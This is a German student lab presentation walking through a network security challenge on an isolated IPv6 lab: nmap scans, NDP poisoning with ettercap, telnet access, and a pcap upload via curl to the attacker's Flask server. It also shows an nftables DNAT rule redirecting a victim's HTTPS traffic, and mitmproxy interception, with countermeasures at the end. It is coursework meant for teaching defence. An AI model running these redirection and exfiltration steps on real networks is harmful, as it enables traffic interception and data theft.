Challenge 04 Brooklyn Nine-Nine

Netzwerk- und Kryptopraktikum (NKP4)
S2210239021 - Jakob Mayr
– SoSe 2024

FH OBERÖSTERREICH

si Sichere Informationssysteme

Image: https://wallpapers.com/wallpapers/yellow-and-black-brooklyn-nine-nine-jwdz5058ejmq46wz.html

Agenda

- Oberflächliche Erklärung
  - Informationsbeschaffung und Angriffe
- Detailierte Erklärung
  - NDS Spoofing
  - TELNET
  - nftables
  - Mitmproxy
- Alternative Angriffe/Lösungwege
- Gegenmaßnahmen

Oberflächliche Erklärung - I



Oberflächliche Erklärung - II

b99: 23/tcp open telnet

→NDP-Spoofing

→TELNET Login



Oberflächliche Erklärung - III

wuntch – holt: https-Verbindung

→nft-NAT

→mitmproxy



Detailierte Erklärung Informationsbeschaffung - peralta - I

$ whoami

```
┌──(jake㉿peralta)-[~]
└─$ whoami
jake
```

$ ip addr

```
┌──(jake㉿peralta)-[~]
└─$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:77:50:05 brd ff:ff:ff:ff:ff:ff
    inet6 2001:db8:1::10/64 scope global noprefixroute
       valid_lft forever preferred_lft forever
    inet6 fe80::aad8:18ab:dab8:d13a/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
```

Detailierte Erklärung Informationsbeschaffung - peralta - II

$ netstat -tulpen

```
┌──(jake㉿peralta)-[~]
└─$ sudo netstat -tulpen
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name
```

$ ss -tulpen

```
┌──(jake㉿peralta)-[~]
└─$ sudo ss -tulpen
Netid       State        Recv-Q       Send-Q             Local Address:Port              Peer Address:Port       Process
```

$ cat /etc/resolv.conf

```
┌──(jake㉿peralta)-[~]
└─$ cat /etc/resolv.conf
# Generated by NetworkManager
search localdomain
nameserver 192.168.138.2
```

$ lsof

...



Detailierte Erklärung Informationsbeschaffung - peralta - Netzwerk

$ nmap -6 -sn -n -T4 --max-retries 1 --host-timeout 0.5s 2001:db8:1::10/64 -oN output.txt

```
┌──(jake㉿peralta)-[~]
└─$ nmap -6 -sn -n -T4 --max-retries 1 --host-timeout 0.5s 2001:db8:1::10/64 -oN output.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-01 15:14 CEST
Nmap scan report for 2001:db8:1::1
Host is up (0.0013s latency).
Nmap scan report for 2001:db8:1::10
Host is up (0.0034s latency).
Nmap scan report for 2001:db8:1::20
Host is up (0.0020s latency).
```

$ nmap -6 -A 2001:db8:1::20 2001:db8:1::1 -oN aggressive-scan.txt

```
┌──(jake㉿peralta)-[~]
└─$ nmap -6 -A 2001:db8:1::20 2001:db8:1::1 -oN aggressive-scan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-01 15:16 CEST
Nmap scan report for santiago.b99.com (2001:db8:1::20)
Host is up (0.0019s latency).
All 1000 scanned ports on santiago.b99.com (2001:db8:1::20) are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)

Nmap scan report for b99.com (2001:db8:1::1)
Host is up (0.0011s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
23/tcp open  telnet
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://
nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port23-TCP:V=7.94SVN%I=7%D=5/1%Time=663240A9%P=x86_64-pc-linux-gnu%r(NU
SF:LL,15,"\xff\xfb%\xff\xfb&\xff\xfd\x18\xff\xfd\x20\xff\xfd#\xff\xfd'\xff
SF:\xfd\$")%r(GenericLines,15,"\xff\xfb%\xff\xfb&\xff\xfd\x18\xff\xfd\x20\
SF:xff\xfd#\xff\xfd'\xff\xfd\$")%r(tn3270,21,"\xff\xfb%\xff\xfb&\xff\xfd\x
SF:18\xff\xfd\x20\xff\xfd#\xff\xfd'\xff\xfd\$\xff\xfe\x19\xff\xfc\x19\xff\
SF:xfd\0\xff\xfb\0")%r(GetRequest,15,"\xff\xfb%\xff\xfb&\xff\xfd\x18\xff\x
SF:fd\x20\xff\xfd#\xff\xfd'\xff\xfd\$")%r(RPCCheck,15,"\xff\xfb%\xff\xfb&\
SF:xff\xfd\x18\xff\xfd\x20\xff\xfd#\xff\xfd'\xff\xfd\$")%r(Help,15,"\xff\x
SF:fb%\xff\xfb&\xff\xfd\x18\xff\xfd\x20\xff\xfd#\xff\xfd'\xff\xfd\$")%r(SI
SF:POptions,15,"\xff\xfb%\xff\xfb&\xff\xfd\x18\xff\xfd\x20\xff\xfd#\xff\xf
SF:d'\xff\xfd\$")%r(NCP,15,"\xff\xfb%\xff\xfb&\xff\xfd\x18\xff\xfd\x20\xff
SF:\xfd#\xff\xfd'\xff\xfd\$");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 54.56 seconds
```

Detailierte Erklärung Angriff – Netzwerk - I

NDP-Poisoning mit “ettcercap -G”





Detailierte Erklärung Angriff – Netzwerk - II

NDP-Poisoning mit “ettcercap -G”



Detailierte Erklärung Angriff - Netzwerk - III



Detailierte Erklärung Informationsbeschaffung - b99

- ss -tulpen

```
toor@b99:~$ sudo ss -tulpen
Netid       State         Recv-Q        Send-Q              Local Address:Port              Peer Address:Port      Process
tcp         LISTEN        0             10                        *:23                           *:*          users:(("ine
tutils-inetd",pid=498,fd=4)) ino:20922 sk:1 cgroup:/system.slice/inetutils-inetd.service v6only:0 ←→
toor@b99:~$
```

- Ip addr & ip neigh

```
toor@b99:~$ ip neigh
2001:db8:1::20 dev ens33 lladdr 00:0c:29:dd:52:d4 REACHABLE
fe80::20c:29ff:fedd:52d4 dev ens33 lladdr 00:0c:29:dd:52:d4 STALE
fe80::aad8:18ab:dab8:d13a dev ens33 lladdr 00:0c:29:77:50:05 STALE
fe80::20c:29ff:fe83:8c53 dev ens37 lladdr 00:0c:29:83:8c:53 REACHABLE
2001:db8:1::10 dev ens33 lladdr 00:0c:29:77:50:05 REACHABLE
2001:db8:fff3::10 dev ens37 lladdr 00:0c:29:83:8c:53 REACHABLE
fe80::20c:29ff:fe86:1cc9 dev ens36 lladdr 00:0c:29:86:1c:c9 REACHABLE
2001:db8:fff2::10 dev ens36 lladdr 00:0c:29:86:1c:c9 REACHABLE
toor@b99:~$
```

```
toor@b99:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:fc:44:db brd ff:ff:ff:ff:ff:ff
    altname enp2s1
    inet6 2001:db8:1::1/64 scope global
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fefc:44db/64 scope link
       valid_lft forever preferred_lft forever
3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:fc:44:e5 brd ff:ff:ff:ff:ff:ff
    altname enp2s4
    inet6 2001:db8:fff2::1/64 scope global
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fefc:44e5/64 scope link
       valid_lft forever preferred_lft forever
4: ens37: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:fc:44:ef brd ff:ff:ff:ff:ff:ff
    altname enp2s5
    inet6 2001:db8:fff3::1/64 scope global
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fefc:44ef/64 scope link
       valid_lft forever preferred_lft forever
toor@b99:~$
```

Detailierte Erklärung Informationsbeschaffung - b99 - Netzwerk

```
toor@b99:~$ sudo tcpdump -i ens36 -s0 -w nkp-b99-ens36.pcap
tcpdump: listening on ens36, link-type EN10MB (Ethernet), snapshot length 262144 bytes
```

tcpdump



nmap

Detailierte Erklärung Informationsbeschaffung - tcpdump kopieren

Peralta: Python-Server

```python
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/upload', methods=['POST'])
def upload_file():
    file = request.files['file']
    if file:
        filename = file.filename
        file.save('./' + filename)
        return jsonify({'status': 'file uploaded'})
    return jsonify({'status': 'no file found'})

if __name__ == '__main__':
    app.run(host='::', port=8000, debug=True)
```

b99: curl

```
File  Actions  Edit  View  Help
┌──(jake㉿peralta)-[~/nkp/uploads]
└─$ python app.py
 * Serving Flask app 'app'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (::)
 * Running on http://[::1]:8000
 * Running on http://[2001:db8:1::10]:8000
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 115-172-360
2001:db8:1::1 - - [01/May/2024 16:12:44] "POST /upload HTTP/1.1" 200 -
```

```
toor@b99: ~
File  Actions  Edit  View  Help
toor@b99:~$ curl -F "file=@/home/toor/nkp-b99-ens36.pcap" http://[2001:db8:1::10]:8000/upload
{
  "status": "file uploaded"
}
toor@b99:~$
```

Detailierte Erklärung Informationsbeschaffung – tcpdump

https-Datenverkehr zwischen wuntch und holt in wireshark



No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	2001:db8:fff2::10	2001:db8:fff3::10	TCP	94	47716 → 443 [SYN] Seq=0 Win=64800 Len=0 MSS=1440 SACK_PERM TSval=400676454 TSe…
2	0.000522	2001:db8:fff3::10	2001:db8:fff2::10	TCP	94	443 → 47716 [SYN, ACK] Seq=0 Ack=1 Win=64260 Len=0 MSS=1440 SACK_PERM TSval=22…
3	0.001337	2001:db8:fff2::10	2001:db8:fff3::10	TCP	86	47716 → 443 [ACK] Seq=1 Ack=1 Win=64800 Len=0 TSval=400676456 TSecr=2240916676
4	0.001537	2001:db8:fff2::10	2001:db8:fff3::10	TLSv1.2	603	Client Hello (SNI=holt.b99.com)
5	0.002599	2001:db8:fff3::10	2001:db8:fff2::10	TCP	86	443 → 47716 [ACK] Seq=1 Ack=518 Win=64096 Len=0 TSval=2240916677 TSecr=4006764…
6	0.003495	2001:db8:fff3::10	2001:db8:fff2::10	TLSv1.2	1418	Server Hello, Certificate, Server Key Exchange, Server Hello Done
7	0.004122	2001:db8:fff2::10	2001:db8:fff3::10	TCP	86	47716 → 443 [ACK] Seq=518 Ack=1333 Win=64128 Len=0 TSval=400676458 TSecr=22409…
8	0.004563	2001:db8:fff2::10	2001:db8:fff3::10	TLSv1.2	179	Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
9	0.005336	2001:db8:fff3::10	2001:db8:fff2::10	TLSv1.2	344	New Session Ticket, Change Cipher Spec, Encrypted Handshake Message
10	0.006225	2001:db8:fff2::10	2001:db8:fff3::10	TLSv1.2	267	Application Data
11	0.006915	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [ACK] Seq=1591 Ack=792 Win=64096 Len=1428 TSval=2240916682 TSecr=4…
12	0.006917	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [ACK] Seq=3019 Ack=792 Win=64096 Len=1428 TSval=2240916682 TSecr=4…
13	0.006917	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [ACK] Seq=4447 Ack=792 Win=64096 Len=1428 TSval=2240916682 TSecr=4…
14	0.006918	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [ACK] Seq=5875 Ack=792 Win=64096 Len=1428 TSval=2240916682 TSecr=4…
15	0.006918	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [PSH, ACK] Seq=7303 Ack=792 Win=64096 Len=1428 TSval=2240916682 TS…
16	0.007035	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [ACK] Seq=8731 Ack=792 Win=64096 Len=1428 TSval=2240916682 TSecr=4…
17	0.007036	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [ACK] Seq=10159 Ack=792 Win=64096 Len=1428 TSval=2240916682 TSecr=…
18	0.007037	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [ACK] Seq=11587 Ack=792 Win=64096 Len=1428 TSval=2240916682 TSecr=…
19	0.007037	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [ACK] Seq=13015 Ack=792 Win=64096 Len=1428 TSval=2240916682 TSecr=…
20	0.007038	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [PSH, ACK] Seq=14443 Ack=792 Win=64096 Len=1428 TSval=2240916682 T…
21	0.007561	2001:db8:fff2::10	2001:db8:fff3::10	TCP	86	47716 → 443 [ACK] Seq=792 Ack=15871 Win=55808 Len=0 TSval=400676462 TSecr=2240…
22	0.008167	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [ACK] Seq=15871 Ack=792 Win=64096 Len=1428 TSval=2240916683 TSecr=…
23	0.008168	2001:db8:fff3::10	2001:db8:fff2::10	TLSv1.2	1514	Application Data
24	0.008168	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [ACK] Seq=18727 Ack=792 Win=64096 Len=1428 TSval=2240916683 TSecr=…
25	0.008169	2001:db8:fff3::10	2001:db8:fff2::10	TCP	1514	443 → 47716 [ACK] Seq=20155 Ack=792 Win=64096 Len=1428 TSval=2240916683 TSecr=…

Frame 1: 94 bytes on wire (752 b 0000 00 0c 29 fc 44 e5 00 0c 29 86 1c c9 86 dd 60 04 ..) D...)..... `.

Detailierte Erklärung Datenumleitung - b99 - nftables

b99: nftables script

```
1 #!/bin/bash
2 nft flush ruleset
3 nft add table inet nat
4 nft add chain inet nat prerouting { type nat hook prerouting priority -100 \; }
5 nft add rule inet nat prerouting iifname ens36 ip6 saddr [2001:db8:fff2::10] tcp dport 443 dnat to [2001:db8:1::10]:443
6 nft list ruleset > /etc/nftables.conf
```

Peralta: wireshark

tcp.stream eq 1

No.	Time	Source	Destination	Protocol	Length	Info
103	17.029077707	2001:db8:fff2::10	2001:db8:1::10	TCP	94	35886 → 443 [SYN] Seq=0 Win=64800 Len=0 MSS=1440 SACK_PERM TSval=401181918 TSecr=0 …
104	17.029095962	2001:db8:1::10	2001:db8:fff2::10	TCP	74	443 → 35886 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

Detailierte Erklärung
Person in the middle – peralta - mitmproxy

```
┌──(jake㉿peralta)-[~]
└─$ sudo mitmproxy --showhost --listen-port 443
```



Detailierte Erklärung
Flag - Parelta - wget - I

```
┌──(jake㉿peralta)-[~]
└─$ wget --no-check-certificate https://[2001:db8:fff3::10]/holt_wuntch_hell_meme.png

--2024-05-01 16:27:46--  https://[2001:db8:fff3::10]/holt_wuntch_hell_meme.png
Connecting to [2001:db8:fff3::10]:443... connected.
WARNING: The certificate of '2001:db8:fff3::10' is not trusted.
WARNING: The certificate of '2001:db8:fff3::10' doesn't have a known issuer.
The certificate's owner does not match hostname '2001:db8:fff3::10'
HTTP request sent, awaiting response... 200 OK
Length: 2206904 (2.1M) [image/png]
Saving to: 'holt_wuntch_hell_meme.png.2'

holt_wuntch_hell_meme.pn 100%[=============================>]   2.10M  --.-KB/s    in 0.06s

2024-05-01 16:27:46 (35.5 MB/s) - 'holt_wuntch_hell_meme.png.2' saved [2206904/2206904]


┌──(jake㉿peralta)-[~]
└─$
```

```
┌──(jake㉿peralta)-[~]
└─$ wget --no-check-certificate https://holt.b99.com/holt_wuntch_hell_meme.png
--2024-05-01 17:54:18--  https://holt.b99.com/holt_wuntch_hell_meme.png
Resolving holt.b99.com (holt.b99.com)... 2001:db8:fff3::10
Connecting to holt.b99.com (holt.b99.com)|2001:db8:fff3::10|:443... connected.
WARNING: The certificate of 'holt.b99.com' is not trusted.
WARNING: The certificate of 'holt.b99.com' doesn't have a known issuer.
HTTP request sent, awaiting response... 200 OK
Length: 2206904 (2.1M) [image/png]
Saving to: 'holt_wuntch_hell_meme.png.4'

holt_wuntch_hell_meme.png.4      100%[=============================>]   2.10M  --.-KB/s    in 0.06s

2024-05-01 17:54:18 (32.5 MB/s) - 'holt_wuntch_hell_meme.png.4' saved [2206904/2206904]
```

Detailierte Erklärung
Flag - Parelta - wget - II

Alternative Angriffe

Statt NDP-Poisoning

- TELNET bruteforce (z.B.: mit Hydra)

```
┌──(jake㉿peralta)-[~]
└─$ hydra
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illega
l purposes (this is non-binding, these *** ignore laws and ethics anyway).

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W T
IME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -U        service module usage details
  -m OPT    options specific for a module, see -U output for information
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-
form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-lis
tener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snm
p socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs.
Licensed under AGPL v3.0. The newest version is always available at;
https://github.com/vanhauser-thc/thc-hydra
Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wish and non-binding - most such people do not care about
laws and ethics anyway - and tell themselves they are one of the good ones.)

Example:  hydra -l user -P passlist.txt ftp://192.168.0.1
```

Statt nftables

- Binaries über python-Server auf b99 laden (viele dependencies)

```
┌──(jake㉿peralta)-[~]
└─$ which mitmproxy
/usr/bin/mitmproxy

┌──(jake㉿peralta)-[~]
└─$ cat /usr/bin/mitmproxy
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from mitmproxy.tools.main import mitmproxy
if __name__ == "__main__":
    sys.argv[0] = re.sub(r"(-script\.pyw|\.exe)?$", "", sys.argv[0])
    sys.exit(mitmproxy())
```

Gegenmaßnahmen

- NDP Poisoning
  - RA Guard (Router Advertisement Guard)
  - SEcure Neighbor Discovery (SEND)
  - Network segmentation and monitoring
- TELNET
  - ssh
- mitmproxy
  - Clientseitige validierung der Zertifikate

Quellen

NWA, NWG, NWS ;)